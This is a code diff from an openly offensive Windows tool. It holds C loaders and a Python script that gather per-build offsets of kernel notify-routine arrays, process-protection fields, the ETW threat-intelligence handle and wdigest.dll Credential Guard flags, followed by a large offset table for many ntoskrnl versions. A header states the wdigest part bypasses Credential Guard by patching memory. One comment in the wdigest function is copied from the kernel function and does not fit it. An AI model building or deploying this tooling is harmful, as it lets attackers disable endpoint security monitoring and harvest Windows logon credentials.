--- ntoskrnl Notify Routines' offsets from CSV functions.
--- Hardcoded patterns, with offsets for 350+ ntoskrnl versions provided in the CSV file.
*/
#include "NtoskrnlOffsets.h"
union NtoskrnlOffsets ntoskrnlOffsets = { 0 };
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) {
TCHAR ntoskrnlVersion[256] = { 0 };
GetNtoskrnlVersion(ntoskrnlVersion);
_tprintf(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion);
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("r"));
union NtoskrnlOffsets offset_results = { 0 };
if (offsetFileStream == NULL) {
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
return offset_results;
}
TCHAR lineNtoskrnlVersion[256];
TCHAR line[2048];
while (_fgetts(line, _countof(line), offsetFileStream)) {
TCHAR* dupline = _tcsdup(line);
TCHAR* tmpBuffer = NULL;
_tcscpy_s(lineNtoskrnlVersion, _countof(lineNtoskrnlVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
if (_tcscmp(ntoskrnlVersion, lineNtoskrnlVersion) == 0) {
TCHAR* endptr;
_tprintf(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion);
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) {
offset_results.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
}
break;
}
}
fclose(offsetFileStream);
return offset_results;
}
+46
View File
@@ -0,0 +1,46 @@
/*
--- Functions to bypass Credential Guard by enabling Wdigest through patching of the g_fParameter_UseLogonCredential and g_IsCredGuardEnabled attributes in memory.
--- Full source and credit to https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
--- Code adapted from: https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240
*/
#include "WdigestOffsets.h"
union WdigestOffsets wdigestOffsets = { 0 };
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) {
TCHAR wdigestVersion[256] = { 0 };
GetWdigestVersion(wdigestVersion);
_tprintf(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("r"));
union WdigestOffsets offsetResults = { 0 };
if (offsetFileStream == NULL) {
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
return offsetResults;
}
TCHAR lineWdigestVersion[256];
TCHAR line[2048];
while (_fgetts(line, _countof(line), offsetFileStream)) {
TCHAR* dupline = _tcsdup(line);
TCHAR* tmpBuffer = NULL;
_tcscpy_s(lineWdigestVersion, _countof(lineWdigestVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
if (_tcscmp(wdigestVersion, lineWdigestVersion) == 0) {
TCHAR* endptr;
_tprintf(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion);
// TODO: switch hardcoded value to sizeof or const defined
for (int i = 0; i < 2; i++) {
offsetResults.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
}
break;
}
}
fclose(offsetFileStream);
return offsetResults;
}
+268
View File
@@ -0,0 +1,268 @@
import argparse
import csv
import os
from requests import get
from gzip import decompress
from json import loads, dumps
from subprocess import run
import win32api
from concurrent.futures import ThreadPoolExecutor
import threading
CSVLock = threading.Lock()
machineType = dict(x86=332, x64=34404)
knownImageVersions = dict(ntoskrnl=list(), wdigest=list())
extensions_by_mode = dict(ntoskrnl="exe", wdigest="dll")
def downloadSpecificFile(entry, pe_basename, pe_ext, knownPEVersions, output_folder):
pe_name = f'{pe_basename}.{pe_ext}'
if 'fileInfo' not in entry:
# print(f'[!] Entry {pe_hash} has no fileInfo, skipping it.')
return "SKIP"
if 'timestamp' not in entry['fileInfo']:
# print(f'[!] Entry {pe_hash} has no timestamp, skipping it.')
return "SKIP"
timestamp = entry['fileInfo']['timestamp']
if 'virtualSize' not in entry['fileInfo']:
# print(f'[!] Entry {pe_hash} has no virtualSize, skipping it.')
return "SKIP"
if "machineType" not in entry["fileInfo"] or entry["fileInfo"]["machineType"] != machineType["x64"]:
return "SKIP"
virtual_size = entry['fileInfo']['virtualSize']
file_id = hex(timestamp).replace('0x','').zfill(8).upper() + hex(virtual_size).replace('0x','')
url = 'https://msdl.microsoft.com/download/symbols/' + pe_name + '/' + file_id + '/' + pe_name
version = entry['fileInfo']['version'].split(' ')[0]
# Output file format: <PE>_build-revision.<exe | dll>
output_version = '-'.join(version.split('.')[-2:])
output_file = f'{pe_basename}_{output_version}.{pe_ext}'
# If the PE version is already known, skip download.
if output_file in knownPEVersions:
print(f'[*] Skipping download of known {pe_name} version: {output_file}')
return "SKIP"
output_file_path = os.path.join(output_folder, output_file)
if os.path.isfile(output_file_path):
print(f"[*] Skipping {output_file_path} which already exists")
return "SKIP"
print(f'[*] Downloading {pe_name} version {version}... ')
try:
peContent = get(url)
with open(output_file_path, 'wb') as f:
f.write(peContent.content)
print(f'[+] Finished download of {pe_name} version {version} (file: {output_file})!')
return "OK"
except Exception:
print(f'[!] ERROR : Could not download {pe_name} version {version} (URL: {url}).')
return "KO"
def dowloadPEFileFromMS(pe_basename, pe_ext, knownPEVersions, output_folder):
pe_name = f'{pe_basename}.{pe_ext}'
print (f'[*] Downloading {pe_name} files!')
pe_json_gz = get(f'https://winbindex.m417z.com/data/by_filename_compressed/{pe_name}.json.gz').content
pe_json = decompress(pe_json_gz)
pe_list = loads(pe_json)
futures = dict()
with ThreadPoolExecutor() as executor:
for pe_hash in pe_list:
entry = pe_list[pe_hash]
futures[pe_hash] = executor.submit(downloadSpecificFile,entry, pe_basename, pe_ext, knownPEVersions, output_folder)
for (i,f) in enumerate(futures):
res = futures[f].result()
print(f"{i+1}/{len(futures)}", end="\r")
def get_symbol_offset(symbols_info, symbol_name):
for line in symbols_info:
# sometimes, a "_" is prepended to the symbol name ...
if line.strip().split(" ")[-1].endswith(symbol_name):
return int(line.split(" ")[0], 16)
else:
return 0
def get_field_offset(symbols_info, field_name):
for line in symbols_info:
if field_name in line:
assert "offset" in line
symbol_offset = int(line.split("+")[-1], 16)
return symbol_offset
else:
return 0
def get_file_version(path):
info = win32api.GetFileVersionInfo(path, '\\')
ms = info['FileVersionMS']
ls = info['FileVersionLS']
return (win32api.HIWORD(ms), win32api.LOWORD(ms),
win32api.HIWORD(ls), win32api.LOWORD(ls))
def extractOffsets(input_file, output_file, mode):
if os.path.isfile(input_file):
try:
# check image type (ntoskrnl, wdigest, etc.)
r = run(["r2", "-c", "iE", "-qq", input_file], shell=True, capture_output=True)
for line in r.stdout.decode().splitlines():
if "ntoskrnl.exe" in line:
imageType = "ntoskrnl"
break
elif "wdigest.dll" in line:
imageType = "wdigest"
break
else:
print(f"[*] File {input_file} unrecognized")
return
#todo : remove this and make a unique function
if mode != imageType:
print(f"[*] Skipping {input_file} since we are in {mode} mode")
return
# dump version number
"""
r = run(["r2", "-c", "iV", "-qq", input_file], shell=True, capture_output=True)
for line in r.stdout.decode().splitlines():
line = line.strip()
if line.startswith("FileVersion:"):
full_version = [int(frag) for frag in line.split(" ")[-1].split(".")]
break
else:
assert(False)
"""
if os.path.sep not in input_file:
input_file = "." + os.path.sep + input_file
full_version = get_file_version(input_file)
# Checks if the image version is already present in the CSV
extension = extensions_by_mode[imageType]
imageVersion = f'{imageType}_{full_version[2]}-{full_version[3]}.{extension}'
if imageVersion in knownImageVersions[imageType]:
print(f'[*] Skipping known {imageType} version {imageVersion} (file: {input_file})')
return
print(f'[*] Processing {imageType} version {imageVersion} (file: {input_file})')
# download the PDB if needed
r = run(["r2", "-c", "idpd", "-qq", input_file], shell=True, capture_output=True)
# dump all symbols
r = run(["r2", "-c", "idpi", "-qq", '-B', '0', input_file], shell=True, capture_output=True)
all_symbols_info = [line.strip() for line in r.stdout.decode().splitlines()]
if imageType == "ntoskrnl":
symbols = [("PspCreateProcessNotifyRoutine",get_symbol_offset),
("PspCreateThreadNotifyRoutine",get_symbol_offset),
("PspLoadImageNotifyRoutine", get_symbol_offset),
('_PS_PROTECTION Protection', get_field_offset),
("EtwThreatIntProvRegHandle", get_symbol_offset),
('_ETW_GUID_ENTRY* GuidEntry', get_field_offset),
('_TRACE_ENABLE_INFO ProviderEnableInfo', get_field_offset)]
elif imageType == "wdigest":
symbols = [
("g_fParameter_UseLogonCredential",get_symbol_offset),
("g_IsCredGuardEnabled",get_symbol_offset)
]
symbols_values = list()
for symbol_name, get_offset in symbols:
symbol_value = get_offset(all_symbols_info, symbol_name)
symbols_values.append(symbol_value)
#print(f"[+] {symbol_name} = {hex(symbol_value)}")
with CSVLock:
with open(output_file, 'a') as output:
output.write(f'{imageVersion},{",".join(hex(val).replace("0x","") for val in symbols_values)}\n')
#print("wrote into CSV !")
knownImageVersions[imageType].append(imageVersion)
print(f'[+] Finished processing of {imageType} {input_file}!')
except Exception as e:
print(f'[!] ERROR : Could not process file {input_file}.')
print(f'[!] Error message: {e}')
print(f'[!] If error is of the like of "\'NoneType\' object has no attribute \'group\'", kernel callbacks may not be supported by this version.')
elif os.path.isdir(input_file):
print(f'[*] Processing folder: {input_file}')
with ThreadPoolExecutor() as extractorPool:
args = [(os.path.join(input_file, file), output_file, mode) for file in os.listdir(input_file)]
for (i,res) in enumerate(extractorPool.map(extractOffsets, *zip(*args))):
print(f"{i+1}/{len(args)}", end="\r")
print(f'[+] Finished processing of folder {input_file}!')
else:
print(f'[!] ERROR : The specified input {input_file} is neither a file nor a directory.')
def loadOffsetsFromCSV(loadedVersions, CSVPath):
print(f'[*] Loading the known known PE versions from "{CSVPath}".')
with open(CSVPath, "r") as csvFile:
csvReader = csv.reader(csvFile, delimiter=',')
next(csvReader)
for peLine in csvReader:
loadedVersions.append(peLine[0])
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('mode', help='ntoskrnl or wdigest. Mode to download and extract offsets for either ntoskrnl or wdigest')
parser.add_argument('-i', '--input', dest='input', required=True,
help='Single file or directory containing ntoskrnl.exe / wdigest.dll to extract offsets from. If in dowload mode, the PE downloaded from MS symbols servers will be placed in this folder.')
parser.add_argument('-o', '--output', dest='output',
help='CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be downloaded / analyzed. Defaults to NtoskrnlOffsets.csv / WdigestOffsets.csv in the current folder.')
parser.add_argument('-d', '--dowload', dest='dowload', action='store_true',
help='Flag to download the PE from Microsoft servers using list of versions from winbindex.m417z.com.')
args = parser.parse_args()
mode = args.mode
if mode not in knownImageVersions:
print(f'[!] ERROR : unsupported mode "{args.mode}", supported mode are: "ntoskrnl" and "wdigest"')
exit(1)
# check R2 version
output = run(["r2", "-V"], shell=True, capture_output=True).stdout.decode()
ma,me,mi = map(int, output.splitlines()[0].split(" ")[0].split("."))
if (ma, me, mi) < (5,4,3):
print("WARNING : This script has been tested with radare2 5.4.3 (works) and 4.3.1 (does NOT work)")
print(f"You have version {ma}.{me}.{mi}, if is does not work correctly, meaning most of the offsets are not found (i.e. 0), check radare2's 'idpi' command output and modify get_symbol_offset() & get_field_offset() to parse symbols correctly")
input("Press enter to continue")
# If the output file exists, load the already analyzed image versions.
# Otherwise, write CSV headers to the new file.
if not args.output:
args.output = mode.capitalize() + 'Offsets.csv'
if os.path.isfile(args.output):
loadOffsetsFromCSV(knownImageVersions[mode], args.output)
print(f'[+] Loaded {len(knownImageVersions[mode])} known {mode} versions from "{args.output}"')
else:
with open(args.output, 'w') as output:
if mode == "ntoskrnl":
output.write('ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset\n')
elif mode == "wdigest":
output.write('wdigestVersion,g_fParameter_UseLogonCredentialOffset,g_IsCredGuardEnabledOffset\n')
else:
assert False
# In download mode, an updated list of image versions published will be retrieved from https://winbindex.m417z.com.
# The symbols for each version will be dowloaded from the Microsoft symbols servers.
# Only new versions will be downloaded if the specified output file already contains offsets.
if (args.dowload):
if not os.path.isdir(args.input):
print('[!] ERROR : in download mode, -i / --input option must specify a folder')
exit(1)
extension = extensions_by_mode[mode]
dowloadPEFileFromMS(mode, extension, knownImageVersions[mode], args.input)
# Extract the offsets from the specified file or the folders containing image files.
extractOffsets(args.input, args.output, mode)
+420
View File
@@ -0,0 +1,420 @@
ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset
ntoskrnl_9600-20111.exe,2dac50,2daa50,2da850,67a,0,20,50
ntoskrnl_10240-16384.exe,35d2e0,35d0e0,35cee0,6aa,0,20,50
ntoskrnl_10240-17394.exe,35d420,35d220,35d020,6aa,0,20,50
ntoskrnl_10240-17443.exe,35c420,35c220,35c020,6aa,0,20,50
ntoskrnl_10240-17446.exe,35c420,35c220,35c020,6aa,0,20,50
ntoskrnl_10240-17488.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
ntoskrnl_10240-17533.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
ntoskrnl_10240-17609.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
ntoskrnl_10240-17643.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
ntoskrnl_10240-17709.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
ntoskrnl_10240-17738.exe,366520,366320,366120,6b2,0,20,50
ntoskrnl_10240-17770.exe,366520,366320,366120,6b2,0,20,50
ntoskrnl_10240-17797.exe,366520,366320,366120,6b2,0,20,50
ntoskrnl_10240-17831.exe,366520,366320,366120,6b2,0,20,50
ntoskrnl_10240-17861.exe,3664e0,3662e0,3660e0,6b2,0,20,50
ntoskrnl_10240-17889.exe,3644e0,3642e0,3640e0,6b2,0,20,50
ntoskrnl_10240-17914.exe,3644e0,3642e0,3640e0,6b2,0,20,50
ntoskrnl_10240-17976.exe,3694e0,3692e0,3690e0,6b2,0,20,50
ntoskrnl_10240-18005.exe,3694e0,3692e0,3690e0,6b2,0,20,50
ntoskrnl_10240-18036.exe,369520,369320,369120,6b2,0,20,50
ntoskrnl_10240-18063.exe,369520,369320,369120,6b2,0,20,50
ntoskrnl_10240-18094.exe,369520,369320,369120,6b2,0,20,50
ntoskrnl_10240-18132.exe,369520,369320,369120,6b2,0,20,50
ntoskrnl_10240-18158.exe,369520,369320,369120,6b2,0,20,50
ntoskrnl_10240-18275.exe,369520,369320,369120,6b2,0,20,50
ntoskrnl_10240-18303.exe,369520,369320,369120,6b2,0,20,50
ntoskrnl_10240-18427.exe,367520,367320,367120,6b2,0,20,50
ntoskrnl_10240-18452.exe,367520,367320,367120,6b2,0,20,50
ntoskrnl_10240-18485.exe,3684e0,3682e0,3680e0,6b2,0,20,50
ntoskrnl_10240-18545.exe,3684e0,3682e0,3680e0,6b2,0,20,50
ntoskrnl_10240-18575.exe,3684e0,3682e0,3680e0,6b2,0,20,50
ntoskrnl_10240-18608.exe,3684e0,3682e0,3680e0,6b2,0,20,50
ntoskrnl_10240-18638.exe,3684e0,3682e0,3680e0,6b2,0,20,50
ntoskrnl_10240-18666.exe,367560,367360,367160,6b2,0,20,50
ntoskrnl_10240-18725.exe,367560,367360,367160,6b2,0,20,50
ntoskrnl_10240-18756.exe,367560,367360,367160,6b2,0,20,50
ntoskrnl_10240-18841.exe,367560,367360,367160,6b2,0,20,50
ntoskrnl_10240-18906.exe,367560,367360,367160,6b2,0,20,50
ntoskrnl_10586-0.exe,317180,316f80,316d80,6b2,0,20,50
ntoskrnl_10586-1176.exe,3161c0,315fc0,315dc0,6b2,0,20,50
ntoskrnl_10586-1177.exe,3161c0,315fc0,315dc0,6b2,0,20,50
ntoskrnl_10586-1295.exe,3161c0,315fc0,315dc0,6b2,0,20,50
ntoskrnl_10586-1356.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50
ntoskrnl_10586-1417.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50
ntoskrnl_10586-1478.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50
ntoskrnl_10586-1540.exe,31a300,31a100,319f00,6ba,0,20,50
ntoskrnl_14393-0.exe,33bba0,33b9a0,33b7a0,6c2,0,20,50
ntoskrnl_14393-1198.exe,335860,335660,335460,6c2,0,20,50
ntoskrnl_14393-1532.exe,3348a0,3346a0,3344a0,6c2,0,20,50
ntoskrnl_14393-1670.exe,3348a0,3346a0,3344a0,6c2,0,20,50
ntoskrnl_14393-1737.exe,3348a0,3346a0,3344a0,6c2,0,20,50
ntoskrnl_14393-1770.exe,3348a0,3346a0,3344a0,6c2,0,20,50
ntoskrnl_14393-2189.exe,33ea20,33e820,33e620,6ca,0,20,50
ntoskrnl_14393-2214.exe,33ea20,33e820,33e620,6ca,0,20,50
ntoskrnl_14393-2248.exe,33da60,33d860,33d660,6ca,0,20,50
ntoskrnl_14393-2273.exe,33da60,33d860,33d660,6ca,0,20,50
ntoskrnl_14393-2312.exe,33ca20,33c820,33c620,6ca,0,20,50
ntoskrnl_14393-2363.exe,33ca20,33c820,33c620,6ca,0,20,50
ntoskrnl_14393-2395.exe,33bb60,33b960,33b760,6ca,0,20,50
ntoskrnl_14393-2430.exe,338b60,338960,338760,6ca,0,20,50
ntoskrnl_14393-2485.exe,338b20,338920,338720,6ca,0,20,50
ntoskrnl_14393-2551.exe,338b20,338920,338720,6ca,0,20,50
ntoskrnl_14393-2580.exe,338b20,338920,338720,6ca,0,20,50
ntoskrnl_14393-2608.exe,338b20,338920,338720,6ca,0,20,50
ntoskrnl_14393-2636.exe,338be0,3389e0,3387e0,6ca,0,20,50
ntoskrnl_14393-2665.exe,338be0,3389e0,3387e0,6ca,0,20,50
ntoskrnl_14393-2724.exe,338be0,3389e0,3387e0,6ca,0,20,50
ntoskrnl_14393-2791.exe,338b20,338920,338720,6ca,0,20,50
ntoskrnl_14393-2848.exe,338b20,338920,338720,6ca,0,20,50
ntoskrnl_14393-2906.exe,338b20,338920,338720,6ca,0,20,50
ntoskrnl_14393-2969.exe,339a20,339820,339620,6ca,0,20,50
ntoskrnl_14393-3085.exe,339a20,339820,339620,6ca,0,20,50
ntoskrnl_14393-3115.exe,339a20,339820,339620,6ca,0,20,50
ntoskrnl_14393-3143.exe,339a20,339820,339620,6ca,0,20,50
ntoskrnl_14393-3204.exe,339a20,339820,339620,6ca,0,20,50
ntoskrnl_14393-3241.exe,339a60,339860,339660,6ca,0,20,50
ntoskrnl_14393-3269.exe,339a60,339860,339660,6ca,0,20,50
ntoskrnl_14393-3297.exe,339a60,339860,339660,6ca,0,20,50
ntoskrnl_14393-3321.exe,339a60,339860,339660,6ca,0,20,50
ntoskrnl_14393-3383.exe,339a60,339860,339660,6ca,0,20,50
ntoskrnl_14393-3442.exe,339a60,339860,339660,6ca,0,20,50
ntoskrnl_14393-3471.exe,33ae60,33ac60,33aa60,6ca,0,20,50
ntoskrnl_14393-3503.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3541.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3564.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3595.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3630.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3659.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3686.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3750.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3755.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3808.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3866.exe,33ae60,33ac60,33aa60,6ca,0,20,50
ntoskrnl_14393-3930.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3986.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-4046.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-4104.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-4169.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-4225.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-4283.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-4350.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-4402.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-4467.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-4470.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-4530.exe,33ae60,33ac60,33aa60,6ca,0,20,50
ntoskrnl_14393-4583.exe,33ae60,33ac60,33aa60,6ca,0,20,50
ntoskrnl_14393-4651.exe,33ae60,33ac60,33aa60,6ca,0,20,50
ntoskrnl_14393-576.exe,33bca0,33baa0,33b8a0,6c2,0,20,50
ntoskrnl_14393-726.exe,335860,335660,335460,6c2,0,20,50
ntoskrnl_14393-953.exe,335860,335660,335460,6c2,0,20,50
ntoskrnl_15063-0.exe,382290,382090,381e90,6ca,341ea8,20,50
ntoskrnl_15063-1029.exe,389550,389350,389150,6ca,348fa8,20,50
ntoskrnl_15063-1088.exe,3894d0,3892d0,3890d0,6ca,348fb8,20,50
ntoskrnl_15063-1155.exe,387510,387310,387110,6ca,346f68,20,50
ntoskrnl_15063-1206.exe,387510,387310,387110,6ca,346f68,20,50
ntoskrnl_15063-1266.exe,384410,384210,384010,6ca,343f48,20,50
ntoskrnl_15063-13.exe,382290,382090,381e90,6ca,341ea8,20,50
ntoskrnl_15063-1324.exe,385490,385290,385090,6ca,344f88,20,50
ntoskrnl_15063-1387.exe,385490,385290,385090,6ca,344f98,20,50
ntoskrnl_15063-1418.exe,385490,385290,385090,6ca,344f98,20,50
ntoskrnl_15063-1446.exe,385490,385290,385090,6ca,344fa8,20,50
ntoskrnl_15063-1478.exe,385450,385250,385050,6ca,344f68,20,50
ntoskrnl_15063-1563.exe,385450,385250,385050,6ca,344f68,20,50
ntoskrnl_15063-1596.exe,385450,385250,385050,6ca,344f68,20,50
ntoskrnl_15063-1631.exe,385450,385250,385050,6ca,344f68,20,50
ntoskrnl_15063-1689.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50
ntoskrnl_15063-1746.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50
ntoskrnl_15063-1805.exe,3853d0,3851d0,384fd0,6ca,344e78,20,50
ntoskrnl_15063-1928.exe,385450,385250,385050,6ca,344e48,20,50
ntoskrnl_15063-1987.exe,385450,385250,385050,6ca,344e48,20,50
ntoskrnl_15063-2017.exe,385450,385250,385050,6ca,344e48,20,50
ntoskrnl_15063-2045.exe,385350,385150,384f50,6ca,344e48,20,50
ntoskrnl_15063-2076.exe,385350,385150,384f50,6ca,344e48,20,50
ntoskrnl_15063-2106.exe,385350,385150,384f50,6ca,344e48,20,50
ntoskrnl_15063-2283.exe,385410,385210,385010,6ca,344e68,20,50
ntoskrnl_15063-296.exe,382290,382090,381e90,6ca,341ea8,20,50
ntoskrnl_15063-674.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50
ntoskrnl_15063-675.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50
ntoskrnl_15063-786.exe,382310,382110,381f10,6ca,341ec8,20,50
ntoskrnl_15063-850.exe,389450,389250,389050,6ca,348fb8,20,50
ntoskrnl_15063-909.exe,389510,389310,389110,6ca,348fa8,20,50
ntoskrnl_15063-966.exe,389550,389350,389150,6ca,348fa8,20,50
ntoskrnl_16299-1004.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
ntoskrnl_16299-1029.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50
ntoskrnl_16299-1087.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50
ntoskrnl_16299-1120.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50
ntoskrnl_16299-1146.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50
ntoskrnl_16299-1182.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50
ntoskrnl_16299-1217.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50
ntoskrnl_16299-125.exe,398a80,398c80,398e80,6ca,356980,20,50
ntoskrnl_16299-1331.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50
ntoskrnl_16299-1364.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50
ntoskrnl_16299-1419.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50
ntoskrnl_16299-1448.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50
ntoskrnl_16299-15.exe,398c80,398e80,398a80,6ca,356908,20,50
ntoskrnl_16299-1622.exe,3a0fc0,3a0bc0,3a0dc0,6ca,35e988,20,50
ntoskrnl_16299-1747.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50
ntoskrnl_16299-1775.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50
ntoskrnl_16299-19.exe,398c80,398e80,398a80,6ca,3568e8,20,50
ntoskrnl_16299-192.exe,39dd40,39df40,39db40,6ca,35b980,20,50
ntoskrnl_16299-1992.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50
ntoskrnl_16299-2045.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50
ntoskrnl_16299-214.exe,39ddc0,39dfc0,39dbc0,6ca,35b980,20,50
ntoskrnl_16299-2166.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50
ntoskrnl_16299-248.exe,39e100,39dd00,39df00,6ca,35bac8,20,50
ntoskrnl_16299-251.exe,39e100,39dd00,39df00,6ca,35bac8,20,50
ntoskrnl_16299-309.exe,39e0c0,39dcc0,39dec0,6ca,35bae8,20,50
ntoskrnl_16299-334.exe,39e0c0,39dcc0,39dec0,6ca,35bac8,20,50
ntoskrnl_16299-371.exe,39ce40,39d040,39cc40,6ca,35aa00,20,50
ntoskrnl_16299-402.exe,39d0c0,39ccc0,39cec0,6ca,35aaa8,20,50
ntoskrnl_16299-431.exe,39ce00,39d000,39cc00,6ca,35aa00,20,50
ntoskrnl_16299-461.exe,39d080,39cc80,39ce80,6ca,35aa88,20,50
ntoskrnl_16299-492.exe,39b080,39ac80,39ae80,6ca,358aa8,20,50
ntoskrnl_16299-522.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50
ntoskrnl_16299-547.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50
ntoskrnl_16299-551.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50
ntoskrnl_16299-579.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50
ntoskrnl_16299-611.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50
ntoskrnl_16299-637.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50
ntoskrnl_16299-64.exe,398c40,398e40,398a40,6ca,3568e8,20,50
ntoskrnl_16299-665.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50
ntoskrnl_16299-666.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50
ntoskrnl_16299-699.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50
ntoskrnl_16299-726.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50
ntoskrnl_16299-755.exe,3a0080,39fc80,39fe80,6ca,35da88,20,50
ntoskrnl_16299-785.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
ntoskrnl_16299-820.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
ntoskrnl_16299-846.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
ntoskrnl_16299-904.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
ntoskrnl_16299-967.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
ntoskrnl_16299-98.exe,398ec0,398ac0,398cc0,6ca,356980,20,50
ntoskrnl_17134-1.exe,3f4ef0,3f50f0,3f4cf0,6ca,3b2120,20,50
ntoskrnl_17134-1006.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fc8,20,50
ntoskrnl_17134-1038.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
ntoskrnl_17134-1067.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50
ntoskrnl_17134-1098.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50
ntoskrnl_17134-112.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50
ntoskrnl_17134-1130.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50
ntoskrnl_17134-1184.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50
